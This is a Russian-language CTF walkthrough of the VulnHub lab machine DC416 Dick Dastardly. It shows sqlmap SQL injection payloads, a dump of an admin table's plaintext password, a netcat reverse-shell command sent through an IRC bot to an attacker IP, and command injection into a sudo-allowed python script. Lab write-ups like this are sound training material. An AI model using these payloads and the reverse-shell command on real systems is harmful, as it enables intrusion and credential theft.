Команда VulnHub подготовила целую серию квестов, с конференции DefCon Toronto's, скачать и опробовать которые вы можете по ссылке.
А в этой статье будет разбор DC416 Dick Dastardly
Начнём
Nmap, кроме портов 22 и 80 больше ничего не выдал, поэтому переходим к поиску скрытых директорий:
$ sudo dirsearch -r -f -u 'http://192.168.1.68/' -e php,txt,bak,json,html -w /usr/share/dirb/wordlists/big.txt -x 403
Видим тут интересный редирект на index.php. Посмотрим что там:
Запускаем sqlmap:
$ sudo sqlmap -u 'http://192.168.1.68/index.php' --data='name=asd&msg=asd' --random-agent --level=5 --risk=3 --batch
POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 6638 HTTP(s) requests:
— Parameter: name (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: name=asd'||(SELECT 'Uknw' FROM DUAL WHERE 1538=1538 AND SLEEP(5))||'&msg=asd
— [00:52:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
Инъекция есть, но раскрутить sqlmap её не смог. Переходим ко второй форме:
$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --tables
Видим сообщение, и корректируем параметры sqlmap'а:
[13:17:56] [INFO] POST parameter 'issue' appears to be 'MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string=«an»)
После повторного запуска, sqlmap раскрутил инъекцию. И отобразил список таблиц.
Дампим таблицу admins
$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --string="an" --dbms=MySQL -D vulnhub --batch -T admins --dump
Нашли пароль в открытом виде и логин. Авторизуемся:
Попадаем в web админку IRC бота. Тут можно изменить владельца бота. Впишу туда логин и пароль, которые удалось вытянуть из БД.
Далее естественно нажимаем добавить свой IP в белый лист, и активировать бота.
Повторно запустим nmap:
Коннектимся на запущенный IRC сервер, видим приветствие:
Посмотрим список каналов:
/list
Нахоим там канал #vulnhub и подключаемся к нему:
/join #vulnhub
Я использовал XChat, справа в списке пользователей на канале, можно увидеть бота, которого мы запустили: vulnhub-bot. Начнём с ним диалог:
Флаг найден, но это второй флаг… Где-то пропустили первый. Запускаем nikto и находим первый флаг:
$ sudo nikto -host http://192.168.1.68 -C all
+ Uncommon header 'flag' found, with contents: flag1{l0l_h0w_345y_15_7h15_c7f}
Имея шелл через IRC открываем себе полноценную консоль:
$ netcat -lvp 9999
Боту отправляем команду:
Unix shell netcat -e /bin/sh 192.168.1.124 9999
Посмотрев список процессов, я нашёл один из них, запущенный от root, крайне необычным:
ping -c 1 -b 192.168.1.255 -p 725f796f755f6265636f6d655f746865 2
Хм это интересно, запустив WireShark в ICMP пакетах находим flag0:
flag0{the_quieter_you_become_the_more_you_are_able_to_hear}
Остался последний. Посмотрим какие привилегии доступны текущему пользователю:
sudo -l
Matching Defaults entries for rasta on DickDastardly:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binUser rasta may run the following commands on DickDastardly:
(vulnhub) NOPASSWD: /usr/bin/python /usr/local/sbin/util.py
Видимо, это не просто так:
sudo -u vulnhub python /usr/local/sbin/util.py
После запуска получаем такой интерактивный вывод:
Не так много функций доступно, осмотревшись, я нашёл последний флаг:
Точнее место где он лежит. Я попробовал вставить свою команду, и при выборе листинга директорий, это получилось:
Отлично, все флаги собраны, пусть и не в правильном порядке!
Автор: GH0st3rs